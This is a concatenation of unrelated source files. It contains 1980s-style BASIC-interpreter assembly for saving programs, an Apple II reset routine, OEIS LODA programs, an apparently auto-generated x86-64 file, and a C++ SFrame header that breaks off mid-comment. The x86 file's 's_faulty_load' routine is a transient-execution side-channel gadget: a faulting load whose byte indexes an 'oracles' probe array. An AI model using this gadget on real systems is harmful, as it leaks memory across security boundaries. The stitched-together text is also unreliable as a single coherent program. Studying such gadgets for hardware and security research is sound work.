je FNotMainExit
sub ax,ax ;return 0 (not main module)
FNotMainExit:
ret
FNotMainModule ENDP
;*************************************************************
; SaveMakFile
; Purpose:
; Called by SaveFile to see if we're saving the main module
; of a multi-module program. If so, this creates <filename>.MAK
; file and writes the names of all modules in the program.
; Entry:
; mrsCur.ogNam is current module's filename
; Exit:
; ax = error code (0 if none), condition codes set
; Exceptions:
; assumes caller has called SetRtTrap to trap runtime errors
;
;*************************************************************
cProc SaveMakFile,<NEAR>,<si,di>
localV szDir,FILNAML
localV filenameNew,FILNAML ; size expected by runtime routines
; used for filename normalization
localV sdFilenameNew,<SIZE SD>
cBegin
mov ax,[grs.GRS_oMrsMain]
cmp ax,[grs.GRS_oMrsCur]
jne SmfGood ;brif this isn't main module
mov bx,si ;bx = psdFilename
lea si,[sdFilenameNew] ;si = &sdFilenameNew
lea di,[filenameNew]
mov [si.SD_pb],di ; set up string descr.
call MakFilename ;fill di with <moduleName>.MAK
jne SmfExit ;brif Bad File Name
mov al,FE_PcodeMrs+FE_CallMrs+FE_SaveRs
mov bx,CPOFFSET FNotMainModule ;bx = adr of function to call
call ForEachCP ;ax=0 if multi-module program
je MultiModules ;brif multi-module program is loaded
push di ;pass ptr to szFilenameNew
call DelFile ;delete filename.MAK
jmp SHORT SmfGood ;exit if not multi-module program
;Open filename in sdFilename (si) (.MAK file) and write all module names to it
MultiModules:
;If we could assume DOS 3.0 or greater, (we can't yet) we could set
;dx to (ACCESS_WRITE OR LOCK_BOTH) SHL 8 OR MD_SQO
mov dx,MD_SQO
call OpenChan ;al = error code (0 if no error)
jne SmfExit ;brif errors
;fill si with sz for directory of .MAK file
lea si,szDir ;si points to working static buffer
push di ;pass pbSrc (filenameNew)
push si ;pass pbDst (szDir)
mov bx,[sdFilenameNew.SD_cb]
push bx ;pass byte count
mov BYTE PTR [bx+si],0 ;0-terminate destination
call CopyBlk ;copy module name to static buffer
push si ;pass szDir
call FileSpec ;ax points beyond pathname
xchg bx,ax ;bx points beyond pathname
mov BYTE PTR [bx-1],0 ;0-terminate szDir
;Save the name of the Main Module first, so it will be loaded first
;si points to szDir
;di points to filenameNew (will be used for temp buffer)
call SaveModName ;write main module's relative path
call MrsDeactivate ;start writing other module names
SmLoop:
call NextMrsFile_All ;make next mrs active
inc ax ;test for UNDEFINED (end of mrs list)
je SmDone ;brif done with all mrs's
dec ax ;restore ax = module's name
cmp ax,[grs.GRS_oMrsMain]
je SmLoop ;brif this is MAIN mod (already output)
test [mrsCur.MRS_flags2],FM2_NoPcode OR FM2_Include
jne SmLoop ;skip document and include mrs's
call SaveModName
jmp SHORT SmLoop
SmDone:
push [grs.GRS_oMrsMain] ;we know the main module was active
call MrsActivateCP ; on entry - reactivate it on exit
call CloseChan ;close [chanCur]
SmfGood:
sub ax,ax
SmfExit:
or ax,ax ;set condition codes for caller
cEnd
;*************************************************************
; ushort SaveFile()
; Purpose:
; Open the specified file and save program to it.
;
; Entry:
; mrsCur.ogNam = filename to be saved.
; (the filename need not be 0-byte terminated)
; mrsCur.flags2 FM2_AsciiLoaded is TRUE for ASCII Save
; FOR EB: parm1 = mode for opening file
;
; Exit:
; ps.bdpSrc is used
; grs.fDirect = FALSE
; ax = 0 if no error, else Standard BASIC error code (i.e. ER_xxx)
;
;*************************************************************
cProc SaveFile,<PUBLIC,FAR,NODATA>,<si>
localV FileName,FILNAML
localV sdFileName,<SIZE SD>
cBegin
mov ax,-MSG_Saving ;display Saving msg in intense video
call StatusMsgCP ; to tell user we're loading
call AlphaORsFree ;release table of sorted oRs's
; (user interface may have chosen
; a new name for this mrs)
push [grs.GRS_oRsCur] ;save mrs/prs - restored on exit
call RtPushHandler ;save caller's runtime error handler
; could be called by LoadFile->NewStmt
; (NOTE: alters stack pointer)
SetfDirect al,FALSE ;turn off direct mode
mov ax,CPOFFSET SfDone ;if any runtime errors occur,
call RtSetTrap ;branch to SfDone with sp,di =
;current values
; doesn't have to be recompiled
call ModuleRudeEdit
call SaveDeclares ;generate synthetic DECLARE stmts
; for forward-referenced
mov ax,ER_OM ;default to OM error
je SfDone ;brif error
lea si,[sdFileName] ;cant use buffers here used for
lea ax,[FileName] ;load because we may need to save
mov [si.SD_pb],ax ;current module during fileopen
mov bx,[mrsCur.MRS_ogNam]
call CopyOgNamPbNear ; ax = number of chars copied
mov [si.SD_cb],ax
call SaveMakFile ;create <filename>.MAK if main
; program of multi-module program.
jne SfDone ;brif errors
;If we could assume DOS 3.0 or greater, (we can't yet) we could set
;dx to (ACCESS_WRITE OR LOCK_BOTH) SHL 8 OR MD_SQO
mov dx,MD_SQO
call OpenChan ;[chanCur] = channel #
jne SfDone ;brif error
DoAsciiSave:
call AsciiSave ;al = errCode
;We're done trying to write the file, now try to close it.
;Closing the file can cause I/O errors when close flushes the buffer.
;al = 0 if no error, else standard QBI error code
SfDone:
sub ah,ah ;ax = error code
SfDone2:
xchg si,ax ;si = return value
test [flagsTM],FTM_SaveProcHdr
je NoShCleanup ;brif SaveProcHdr was not in critical
; section.
call RelShBuf ;release temp text tbl used by
; SaveProcHdr
NoShCleanup:
call RtFreeTrap ;free previous trap address
mov ax,CPOFFSET SfGotErr ;if any runtime errors occur,
call RtSetTrap ;branch to SfGotErr with sp,bp,si,di
;set to current values
call CloseChan ;close file before kill
; (sets ChanCur = 0)
cCall RtFreeTrap ; release error handler
test si,7FFFh ; test low 15 bits for error code
je SfNoErr ;brif no error before close
xor ax, ax ; no error during close
;If we got an error during save, delete partially created file
SfGotErr:
test si, 7fffh ; do we already have an error
jnz SfTestDelFile ; brif so, use it
or si, ax ; else add in new error
; Only delete the file if we actually created and started to save
; a binary file. We don't want to delete an existing file if we
; got an error on or before the open, and we also don't want to
; delete a partially written ascii file.
SfTestDelFile:
or si,si ; got to BinarySave?
jns SfExit ; no, then don't kill the file
push di
mov ax,CPOFFSET SfKillErr ; trap & ignore any runtime errors
cCall RtSetTrap ; in KILL
sub sp,((FILNAML+SIZE SD+2)+1) AND 0FFFEh ;[3] create a fake sd
; on the stack
mov di,sp
add di,6 ; pnt to strt of where string will be
mov [di-2],di ; setup pb part of fake sd
mov ax,di ; parm to CopyOgNamPbNear
mov bx,[mrsCur.MRS_ogNam] ; parm to CopyOgNamPbNear
call CopyOgNamPbNear ; copy name onto stack, ax = cbName
sub di,4 ; di = pFakeSd
mov [di],ax ; set up cb part of fake sd
cCall B$KILL,<di> ; call rt to delete file
add sp,((FILNAML+SIZE SD+2)+1) AND 0FFFEh ;[3] restore stack ptr
SfKillErr: ; branched to if error during KILL
pop di
jmp SHORT SfExit
SfNoErr:
and [mrsCur.MRS_flags2],NOT (FM2_Modified or FM2_ReInclude)
and [mrsCur.MRS_flags3],NOT FM3_NotFound ;If the user told
;us to save the file, we have
;found it.
test [mrsCur.MRS_flags2],FM2_Include
je SfExit ;brif this is not an $INCLUDE file
or [flagsTm],FTM_reInclude ;re-parse all $INCLUDE lines in
;all modules before next RUN
SfExit:
and [flagsTM],NOT FTM_SaveProcHdr ;reset critical section flag
call RtPopHandler ;restore caller's runtime error handler
; (saved on stack by RtPushHandler)
call RsActivateCP ;restore caller's mrs/prs
call StatusMsg0CP ;tell user interface we're done saving
xchg ax,si ;restore ax = error code
and ah,7Fh ; clear BinarySave flag bit
cEnd
sEnd CP
end
|
;;; Apple II/IIe reset-everything routine
;;; Copyright © 2017 Zellyn Hunter <zellyn@gmail.com>
!zone resetall {
;;; Reset all soft-switches to known-good state. Burns $300 and $301 in main mem.
RESETALL
sta RESET_RAMRD
sta RESET_RAMWRT
stx $300
sta $301
;; Save return address in X and A, in case we switch zero-page memory.
pla
tax
pla
sta RESET_80STORE
sta RESET_INTCXROM
sta RESET_ALTZP
sta RESET_SLOTC3ROM
sta RESET_INTC8ROM
sta RESET_80COL
sta RESET_ALTCHRSET
sta SET_TEXT
sta RESET_MIXED
sta RESET_PAGE2
sta RESET_HIRES
;; Restore return address from X and A.
pha
txa
pha
ldx $300
lda $301
rts
}
|
; A142196: Primes congruent to 33 mod 40.
; Submitted by Jon Maiga
; 73,113,193,233,313,353,433,593,673,953,1033,1153,1193,1433,1553,1753,1873,1913,1993,2113,2153,2273,2393,2473,2593,2633,2713,2753,2833,2953,3313,3433,3593,3673,3793,3833,4073,4153,4273,4513,4673,4793,4993,5113,5153,5233,5273,5393,5953,6073,6113,6353,6473,6553,6673,6793,6833,7193,7393,7433,7673,7753,7793,7873,7993,8233,8273,8353,8513,8713,8753,9433,9473,9833,10193,10273,10313,10433,10513,10753,10993,11113,11273,11353,11393,11593,11633,11833,11953,12073,12113,12433,12473,12553,12713,12953,13033
mov $1,7
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,25
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,15
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,14
|
; A156712: Star numbers (A003154) that are also triangular numbers (A000217).
; 1,7,91,1261,17557,244531,3405871,47437657,660721321,9202660831,128176530307,1785268763461,24865586158141,346332937450507,4823795538148951,67186804596634801,935791468814738257,13033893758809700791,181538721154521072811,2528508202404485318557,35217576112508273386981,490517557372711342099171,6832028227105450516001407,95157877622103595881920521,1325378258482344891830885881,18460137741130724889750481807,257116550117347803564675859411,3581171563901738525015711549941,49879285344506991546655285839757,694728823259196143128158290206651,9676324240284239012247560777053351,134773810540720150028337692588540257
seq $0,82841 ; a(n) = 4*a(n-1) - a(n-2) for n>1, a(0)=3, a(1)=9.
pow $0,2
div $0,12
add $0,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xf7b0, %r14
nop
nop
nop
nop
nop
add %r13, %r13
movups (%r14), %xmm0
vpextrq $0, %xmm0, %rbp
nop
dec %rax
lea addresses_WC_ht+0x3664, %rdi
nop
nop
dec %r15
mov $0x6162636465666768, %rax
movq %rax, (%rdi)
sub %r14, %r14
lea addresses_A_ht+0x17b0, %rsi
lea addresses_WC_ht+0xceb0, %rdi
nop
nop
cmp $40315, %r15
mov $32, %rcx
rep movsw
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x32f0, %rsi
lea addresses_A_ht+0x6e90, %rdi
clflush (%rdi)
nop
nop
and %r15, %r15
mov $88, %rcx
rep movsb
nop
xor %rcx, %rcx
lea addresses_D_ht+0x9080, %rsi
lea addresses_WT_ht+0xfbb0, %rdi
nop
nop
cmp %rbp, %rbp
mov $46, %rcx
rep movsw
nop
nop
nop
nop
nop
lfence
lea addresses_WC_ht+0x107b0, %rbp
nop
inc %rdi
vmovups (%rbp), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %r15
add $50241, %r14
lea addresses_normal_ht+0x127b0, %rcx
nop
nop
nop
nop
xor %rbp, %rbp
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
and $36668, %r15
lea addresses_UC_ht+0x173b0, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
inc %r15
movl $0x61626364, (%rbp)
nop
nop
and $20741, %rsi
lea addresses_A_ht+0x1bfb0, %rsi
lea addresses_WC_ht+0x9db8, %rdi
nop
nop
nop
nop
nop
sub %r15, %r15
mov $25, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_UC_ht+0x1b380, %rsi
lea addresses_WT_ht+0x114b0, %rdi
xor $57027, %rax
mov $73, %rcx
rep movsq
nop
nop
add $3823, %rax
lea addresses_normal_ht+0xcb30, %rbp
nop
nop
nop
and %rsi, %rsi
mov $0x6162636465666768, %rax
movq %rax, %xmm3
and $0xffffffffffffffc0, %rbp
movntdq %xmm3, (%rbp)
nop
nop
add $22486, %rax
lea addresses_WC_ht+0xbd90, %rdi
nop
nop
nop
cmp $705, %r15
movb $0x61, (%rdi)
add %r14, %r14
lea addresses_normal_ht+0x1e4fe, %r15
xor %r13, %r13
movups (%r15), %xmm4
vpextrq $1, %xmm4, %rdi
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_A_ht+0x1d330, %rsi
lea addresses_WT_ht+0xe7f0, %rdi
nop
nop
nop
nop
dec %r15
mov $1, %rcx
rep movsl
nop
nop
nop
and $16378, %r14
lea addresses_WT_ht+0xe250, %rdi
nop
inc %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
and $0xffffffffffffffc0, %rdi
vmovaps %ymm3, (%rdi)
nop
and $6452, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_normal+0xd7b0, %rdx
xor $2914, %r9
movl $0x51525354, (%rdx)
nop
nop
nop
nop
nop
sub %r9, %r9
// Store
lea addresses_normal+0x8870, %rdx
nop
nop
inc %rbx
mov $0x5152535455565758, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
nop
nop
sub %rbp, %rbp
// Load
lea addresses_A+0x16758, %rdi
nop
nop
nop
nop
nop
and %r15, %r15
mov (%rdi), %edx
nop
sub %r15, %r15
// Store
lea addresses_D+0x15fb0, %r10
and %r15, %r15
movw $0x5152, (%r10)
nop
nop
nop
nop
sub %rbx, %rbx
// Store
lea addresses_A+0x1e3b0, %r10
nop
nop
xor %rbp, %rbp
movb $0x51, (%r10)
nop
sub $2453, %r10
// Load
lea addresses_normal+0xffb0, %rdx
nop
cmp %rbx, %rbx
movb (%rdx), %r9b
nop
nop
nop
nop
dec %rdx
// REPMOV
lea addresses_A+0xf7b0, %rsi
lea addresses_D+0x9f00, %rdi
xor %rbx, %rbx
mov $119, %rcx
rep movsq
nop
nop
nop
xor $23724, %rbp
// Store
lea addresses_A+0xc608, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
sub $1582, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
vmovups %ymm2, (%rbx)
nop
nop
nop
nop
and $236, %r9
// REPMOV
lea addresses_WT+0x109b0, %rsi
lea addresses_PSE+0xc4, %rdi
nop
nop
nop
nop
and %r10, %r10
mov $16, %rcx
rep movsq
and %r10, %r10
// REPMOV
lea addresses_PSE+0x1ad58, %rsi
lea addresses_A+0x1d9f0, %rdi
clflush (%rdi)
nop
nop
nop
nop
dec %r9
mov $19, %rcx
rep movsw
nop
nop
nop
sub $41309, %rcx
// Faulty Load
lea addresses_A+0xf7b0, %rbx
nop
nop
cmp $21907, %rdi
mov (%rbx), %r10d
lea oracles, %rdx
and $0xff, %r10
shlq $12, %r10
mov (%rdx,%r10,1), %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': True, 'type': 'addresses_A'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
/* Copyright © 2017 Apple Inc. All rights reserved.
*
* Use of this source code is governed by a BSD-3-clause license that can
* be found in the LICENSE.txt file or at https://opensource.org/licenses/BSD-3-Clause
*/
#ifndef TURI_UNITY_LIB_SFRAME_HPP
#define TURI_UNITY_LIB_SFRAME_HPP
#include <iostream>
#include <algorithm>
#include <memory>
#include <vector>
#include <logger/logger.hpp>
#include <flexible_type/flexible_type.hpp>
#include <sframe/sarray.hpp>
#include <sframe/dataframe.hpp>
#include <sframe/sframe_index_file.hpp>
#include <sframe/sframe_constants.hpp>
#include <sframe/output_iterator.hpp>
namespace turi {
// forward declaration of th csv_line_tokenizer to avoid a
// circular dependency
struct csv_line_tokenizer;
class sframe_reader;
class csv_writer;
typedef turi::sframe_function_output_iterator<
std::vector<flexible_type>,
std::function<void(const std::vector<flexible_type>&)>,
std::function<void(std::vector<flexible_type>&&)>,
std::function<void(const sframe_rows&)> >
sframe_output_iterator;
/**
* \ingroup sframe_physical
* \addtogroup sframe_main Main SFrame Objects
* \{
*/
/**
* The SFrame is an immutable object that represents a table with rows
* and columns. Each column is an \ref sarray<flexible_type>, which is a
* sequence of an object T split into segments. The sframe writes an sarray
* for each column of data it is given to disk, each with a prefix that extends
* the prefix given to open. The SFrame is referenced on disk by a single
* ".frame_idx" file which then has a list of file names, one file for each
* column.
*
* The SFrame is \b write-once, \b read-many. The SFrame can be opened for
* writing \b once, after which it is read-only.
*
* Since each column of the SFrame is an independent sarray, as an independent
* shared_ptr<sarray<flexible_type> > object, columns can be added / removed
* to form new sframes without problems. As such, certain operations
* (such as the object returned by add_column) recan be "ephemeral" in that
* there is no .frame_idx file on disk backing it. An "ephemeral" frame can be
* identified by checking the result of get_index_file(). If this is empty,
* it is an ephemeral frame.
*
* The interface for the SFrame pretty much matches that of the \ref sarray
* as in the SArray's stored type is std::vector<flexible_type>. The SFrame
* however, also provides a large number of other capabilities such as
* csv parsing, construction from sarrays, etc.
*/
class sframe : public swriter_base<sframe_output_iterator> {
public:
/// The reader type
typedef sframe_reader reader_type;
/// The iterator type which \ref get_output_iterator returns
typedef sframe_output_iterator iterator;
/// The type contained in the sframe
typedef std::vector<flexible_type> value_type;
/**************************************************************************/
/* */
/* Constructors */
/* */
/**************************************************************************/
/**
* default constructor; does nothing; use \ref open_for_read or
* \ref open_for_write after construction to read/create an sarray.
*/
inline sframe() { }
/**
* Copy constructor.
* If the source frame is opened for writing, this will throw
* an exception. Otherwise, this will create a frame opened for reading,
* which shares column arrays with the source frame.
*/
sframe(const sframe& other);
/**
* Move constructor.
*/
sframe(sframe&& other) : sframe() {
(*this) = std::move(other);
}
/**
* Assignment operator.
* If the source frame is opened for writing, this will throw
* an exception. Otherwise, this will create a frame opened for reading,
* which shares column arrays with the source frame.
*/
sframe& operator=(const sframe& other);
/**
* Move Assignment operator.
* Moves other into this. Other will be cleared as if it is a newly
* constructed sframe object.
*/
sframe& operator=(sframe&& other);
/**
* Attempts to construct an sframe which reads from the given frame
* index file. This should be a .frame_idx file.
* If the index cannot be opened, an exception is thrown.
*/
explicit inline sframe(std::string frame_idx_file) {
auto frame_index_info = read_sframe_index_file(frame_idx_file);
open_for_read(frame_index_info);
}
/**
* Construct an sframe from sframe index information.
*/
explicit inline sframe(sframe_index_file_information frame_index_info) {
open_for_read(frame_index_info);
};
/**
* Constructs an SFrame from a vector of Sarrays.
*
* \param columns List of sarrays to form as columns
* \param column_names List of the name for each column, with the indices
* corresponding with the list of columns. If the length of the column_names
* vector does not match columns, the column gets a default name.
* For example, if four columns are given and column_names = {id, num},
* the columns will be named {"id, "num", "X3", "X4"}. Entries that are
* zero-length strings will also be given a default name.
* \param fail_on_column_names If true, will throw an exception if any column
* names are unique. If false, will automatically adjust column names so
* they are unique.
*
* Throws an exception if any column names are not unique (if
* fail_on_column_names is true), or if the number of segments, segment
* sizes, or total sizes of each sarray is not equal. The constructed SFrame
* is ephemeral, and is not backed by a disk index.
*/
explicit inline sframe(
const std::vector<std::shared_ptr<sarray<flexible_type> > > &new_columns,
const std::vector<std::string>& column_names = {},
bool fail_on_column_names=true) {
open_for_read(new_columns, column_names, fail_on_column_names);
}
/**
* Constructs an SFrame from a csv file.
*
* All columns will be parsed into flex_string unless the column type is
* specified in the column_type_hints.
*
* \param path The url to the csv file. The url can points to local
* filesystem, hdfs, or s3. \param tokenizer The tokenization rules to use
* \param use_header If true, the first line will be parsed as column
* headers. Otherwise, R-style column names, i.e. X1, X2, X3... will be used.
* \param continue_on_failure If true, lines with parsing errors will be skipped.
* \param column_type_hints A map from column name to the column type.
* \param output_columns The subset of column names to output
* \param row_limit If non-zero, the maximum number of rows to read
* \param skip_rows If non-zero, the number of lines to skip at the start
* of each file
*
* Throws an exception if IO error or csv parse failed.
*/
std::map<std::string, std::shared_ptr<sarray<flexible_type>>> init_from_csvs(
const std::string& path,
csv_line_tokenizer& tokenizer,
bool use_header,
bool continue_on_failure,
bool store_errors,
std::map<std::string, flex_type_enum> column_type_hints,
std::vector<std::string> output_columns = std::vector<std::string>(),
size_t row_limit = 0,
size_t skip_rows = 0);
/**
* Constructs an SFrame from dataframe_t.
*
* \note Throw an exception if the dataframe contains undefined values (e.g.
* in sparse rows),
*/
sframe(const dataframe_t& data);
~sframe();
/**************************************************************************/
/* */
/* Openers */
/* */
/**************************************************************************/
/**
* Initializes the SFrame with an index_information.
* If the SFrame is already inited, this will throw an exception
*/
inline void open_for_read(sframe_index_file_information frame_index_info) {
Dlog_func_entry();
ASSERT_MSG(!inited, "Attempting to init an SFrame "
"which has already been inited.");
inited = true;
create_arrays_for_reading(frame_index_info);
}
/**
* Initializes the SFrame with a collection of columns. If the SFrame is
* already inited, this will throw an exception. Will throw an exception if
* column_names are not unique and fail_on_column_names is true.
*/
void open_for_read(
const std::vector<std::shared_ptr<sarray<flexible_type> > > &new_columns,
const std::vector<std::string>& column_names = {},
bool fail_on_column_names=true) {
Dlog_func_entry();
ASSERT_MSG(!inited, "Attempting to init an SFrame "
"which has already been inited.");
inited = true;
create_arrays_for_reading(new_columns, column_names, fail_on_column_names);
}
/**
* Opens the SFrame with an arbitrary temporary file.
* The array must not already been inited.
*
* \param column_names The name for each column. If the vector is shorter
* than column_types, or empty values are given, names are handled with
* default names of "X<column id+1>". Each column name must be unique.
* This will let you write non-unique column names, but if you do that,
* the sframe will throw an exception while constructing the output of
* this class.
* \param column_types The type of each column expressed as a
* flexible_type. Currently this is required to tell how many columns
* are a part of the sframe. Throws an exception if this is an empty
* vector.
* \param nsegments The number of parallel output segments on each
* sarray. Throws an exception if this is 0.
* \param frame_sidx_file If not specified, an argitrary temporary
